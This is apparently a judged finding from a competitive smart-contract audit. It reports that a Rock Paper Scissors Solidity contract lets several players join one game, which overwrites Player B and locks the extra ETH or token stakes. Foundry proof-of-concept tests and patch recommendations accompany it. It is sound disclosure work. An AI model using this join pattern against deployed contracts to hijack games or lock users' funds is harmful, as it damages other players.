Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple Joins Allowed Due to Incorrect State Management

Summary

The RockPaperScissors.sol contract allows users to create and join Rock Paper Scissors games. The functions joinGameWithEth and joinGameWithToken are intended to allow a second player (Player B) to join a game initiated by Player A. However, these functions fail to adequately update the game's state or check if a second player has already joined. They only verify that the game.state is Created. Consequently, multiple users, or even the same user multiple times, can successfully call the join function for the same game ID before the joinDeadline passes. This leads to the game.playerB field being overwritten by the latest joiner, and additional stakes (ETH or Tokens) being sent to the contract without being properly accounted for in the game's logic, resulting in locked funds/tokens for the extra joiners.

Vulnerability Details

  1. Affected Functions: joinGameWithEth, joinGameWithToken.

  2. State Check: Both functions correctly check if the game is joinable using require(game.state == GameState.Created, "Game not open to join");.

  3. Missing State Update: Upon a successful join, where game.playerB is set to msg.sender, neither function updates the game.state to a different value (e.g., Committed or a hypothetical Joined state). The state remains GameState.Created.

  4. Missing Occupancy Check: Neither function includes a check to verify if game.playerB is already occupied (i.e., require(game.playerB == address(0), "Game already has player B");).

  5. Exploitation: Because the game.state remains Created and there is no occupancy check, subsequent calls to joinGameWithEth or joinGameWithToken for the same _gameId (before the joinDeadline) will pass the initial require checks.

  6. Consequences of Subsequent Joins:

    • The game.playerB = msg.sender; line overwrites the address of the previously joined Player B with the address of the new joiner.

    • The contract receives an additional stake (ETH via msg.value or a Token via transferFrom) from the new joiner. This extra stake is not reflected in the game.bet field (which only stores the initial bet amount) and is not accounted for in the payout logic (_finishGame, _handleTie, _cancelGame).

Proof Of Concept

The provided test cases below demonstrate the vulnerability:

// ==================== MULTIPLE JOIN FLAW TESTS ====================
/**
* @notice Tests that different players (B and C) can join the same ETH game.
* Player C overwrites Player B. Contract holds 3x bet amount.
*/
function testMultipleJoins_DifferentPlayers_EthGame() public {
// --- Setup ---
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
// Player A creates an ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// --- Action 1: Player B Joins ---
vm.startPrank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// --- Assertions After B Joins ---
(,, uint256 betB,,,,,,,,,,,,, RockPaperScissors.GameState stateB) = game.games(gameId);
(, address storedPlayerB_afterB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB_afterB, playerB, "Player B should be set after first join");
assertEq(address(game).balance, BET_AMOUNT * 2, "Contract balance should be 2x bet after B joins");
assertEq(uint256(stateB), uint256(RockPaperScissors.GameState.Created), "State should still be Created after B joins");
// --- Action 2: Player C Joins the SAME game ---
vm.startPrank(playerC);
// This call succeeds due to the vulnerability
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// --- Assertions After C Joins ---
(,, uint256 betC,,,,,,,,,,,,, RockPaperScissors.GameState stateC) = game.games(gameId);
(, address storedPlayerB_afterC,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB_afterC, playerC, "Player B should be overwritten by Player C"); // Player B overwritten
assertEq(address(game).balance, BET_AMOUNT * 3, "Contract balance should be 3x bet after C joins"); // Funds from A, B, C
assertEq(uint256(stateC), uint256(RockPaperScissors.GameState.Created), "State should still be Created after C joins");
}
/**
* @notice Tests that the same player (B) can join the same ETH game multiple times.
* Contract holds 3x bet amount (A + B + B).
*/
function testMultipleJoins_SamePlayer_EthGame() public {
// --- Setup ---
// Player A creates an ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// --- Action 1: Player B Joins ---
vm.startPrank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// --- Assertions After First Join ---
(,, uint256 betB1,,,,,,,,,,,,, RockPaperScissors.GameState stateB1) = game.games(gameId);
(, address storedPlayerB1,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB1, playerB, "Player B should be set after first join");
assertEq(address(game).balance, BET_AMOUNT * 2, "Contract balance should be 2x bet after first join");
assertEq(uint256(stateB1), uint256(RockPaperScissors.GameState.Created), "State should still be Created after first join");
// --- Action 2: Player B Joins the SAME game AGAIN ---
vm.startPrank(playerB);
// This call succeeds due to the vulnerability
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// --- Assertions After Second Join ---
(,, uint256 betB2,,,,,,,,,,,,, RockPaperScissors.GameState stateB2) = game.games(gameId);
(, address storedPlayerB2,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB2, playerB, "Player B should still be player B"); // No change in address
assertEq(address(game).balance, BET_AMOUNT * 3, "Contract balance should be 3x bet after second join"); // Funds from A, B, B
assertEq(uint256(stateB2), uint256(RockPaperScissors.GameState.Created), "State should still be Created after second join");
}
/**
* @notice Tests that different players (B and C) can join the same Token game.
* Player C overwrites Player B. Contract holds 3 tokens.
*/
function testMultipleJoins_DifferentPlayers_TokenGame() public {
// --- Setup ---
address playerC = makeAddr("playerC");
// Mint token for player C (game contract is owner/minter in test setup)
vm.prank(address(game));
token.mint(playerC, 10);
// Player A creates a Token game
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// --- Action 1: Player B Joins ---
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// --- Assertions After B Joins ---
(, address storedPlayerB_afterB,,,,,,,,,,,,,, RockPaperScissors.GameState stateB) = game.games(gameId);
assertEq(storedPlayerB_afterB, playerB, "Player B should be set after first join");
assertEq(token.balanceOf(address(game)), 2, "Contract token balance should be 2 after B joins");
assertEq(uint256(stateB), uint256(RockPaperScissors.GameState.Created), "State should still be Created after B joins");
// --- Action 2: Player C Joins the SAME game ---
vm.startPrank(playerC);
token.approve(address(game), 1);
// This call succeeds due to the vulnerability
game.joinGameWithToken(gameId);
vm.stopPrank();
// --- Assertions After C Joins ---
(, address storedPlayerB_afterC,,,,,,,,,,,,,, RockPaperScissors.GameState stateC) = game.games(gameId);
assertEq(storedPlayerB_afterC, playerC, "Player B should be overwritten by Player C"); // Player B overwritten
assertEq(token.balanceOf(address(game)), 3, "Contract token balance should be 3 after C joins"); // Tokens from A, B, C
assertEq(uint256(stateC), uint256(RockPaperScissors.GameState.Created), "State should still be Created after C joins");
}
/**
* @notice Tests that the same player (B) can join the same Token game multiple times.
* Contract holds 3 tokens (A + B + B).
*/
function testMultipleJoins_SamePlayer_TokenGame() public {
// --- Setup ---
// Player A creates a Token game
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// --- Action 1: Player B Joins ---
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// --- Assertions After First Join ---
(, address storedPlayerB1,,,,,,,,,,,,,, RockPaperScissors.GameState stateB1) = game.games(gameId);
assertEq(storedPlayerB1, playerB, "Player B should be set after first join");
assertEq(token.balanceOf(address(game)), 2, "Contract token balance should be 2 after first join");
assertEq(uint256(stateB1), uint256(RockPaperScissors.GameState.Created), "State should still be Created after first join");
// --- Action 2: Player B Joins the SAME game AGAIN ---
vm.startPrank(playerB);
token.approve(address(game), 1); // Need approval again
// This call succeeds due to the vulnerability
game.joinGameWithToken(gameId);
vm.stopPrank();
// --- Assertions After Second Join ---
(, address storedPlayerB2,,,,,,,,,,,,,, RockPaperScissors.GameState stateB2) = game.games(gameId);
assertEq(storedPlayerB2, playerB, "Player B should still be player B"); // No change in address
assertEq(token.balanceOf(address(game)), 3, "Contract token balance should be 3 after second join"); // Tokens from A, B, B
assertEq(uint256(stateB2), uint256(RockPaperScissors.GameState.Created), "State should still be Created after second join");
}

Impact

  • Locked Funds/Tokens: The primary impact is the permanent locking of funds (ETH) or tokens sent by any joiner after the first valid Player B. These extra stakes are received by the contract but are not tracked by game.bet and therefore cannot be refunded or paid out by _finishGame, _handleTie, or _cancelGame.

  • Incorrect Game Participant: The first player to join as Player B is silently overwritten in the game state by the last player who successfully called the join function. The game proceeds with the wrong Player B according to the stored data.

  • Incorrect Contract Balance: The contract's overall ETH or WinningToken balance becomes inflated with unaccounted-for stakes, potentially complicating administrative actions or balance checks.

  • User Confusion & Griefing: Users might join a game believing they are Player B, only to be replaced without notification. Malicious users could potentially exploit this to disrupt games or attempt to lock funds (though their own funds get locked in the process).

Tools Used

  • Manual Code Review

  • Foundry/Forge (for Test Execution and PoC verification)

Recommendations

To fix this vulnerability, the join functions must prevent subsequent joins after the first Player B is successfully registered. This can be achieved in two main ways:

  1. Add Occupancy Check (Recommended): Introduce a require statement at the beginning of both joinGameWithEth and joinGameWithToken to ensure game.playerB is currently empty. This is the most direct fix.

    function joinGameWithEth(uint256 _gameId) external payable {
    Game storage game = games[_gameId];
    require(game.state == GameState.Created, "Game not open to join");
    + require(game.playerB == address(0), "Game already has player B"); // Add this check
    require(game.playerA != msg.sender, "Cannot join your own game");
    // ... rest of function ...
    }
    function joinGameWithToken(uint256 _gameId) external {
    Game storage game = games[_gameId];
    require(game.state == GameState.Created, "Game not open to join");
    + require(game.playerB == address(0), "Game already has player B"); // Add this check
    require(game.playerA != msg.sender, "Cannot join your own game");
    // ... rest of function ...
    }
  2. Update Game State: Alternatively, modify the join functions to change the game.state immediately after game.playerB is set. For instance, change it to GameState.Committed (though this might slightly alter the intended flow if commits aren't expected immediately).

    function joinGameWithEth(uint256 _gameId) external payable {
    // ... checks ...
    game.playerB = msg.sender;
    + // Optional: Change state if appropriate for game flow
    + // game.state = GameState.Committed; // Or a new 'Joined' state
    emit PlayerJoined(_gameId, msg.sender);
    }
    // Similar change in joinGameWithToken

    (Note: The occupancy check (Recommendation 1) is generally cleaner and more precisely addresses this specific vulnerability without potentially altering other state machine assumptions.)

Implementing Recommendation 1 will effectively prevent multiple players from joining the same game slot, resolving the vulnerability and preventing the associated fund locking and state corruption issues.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.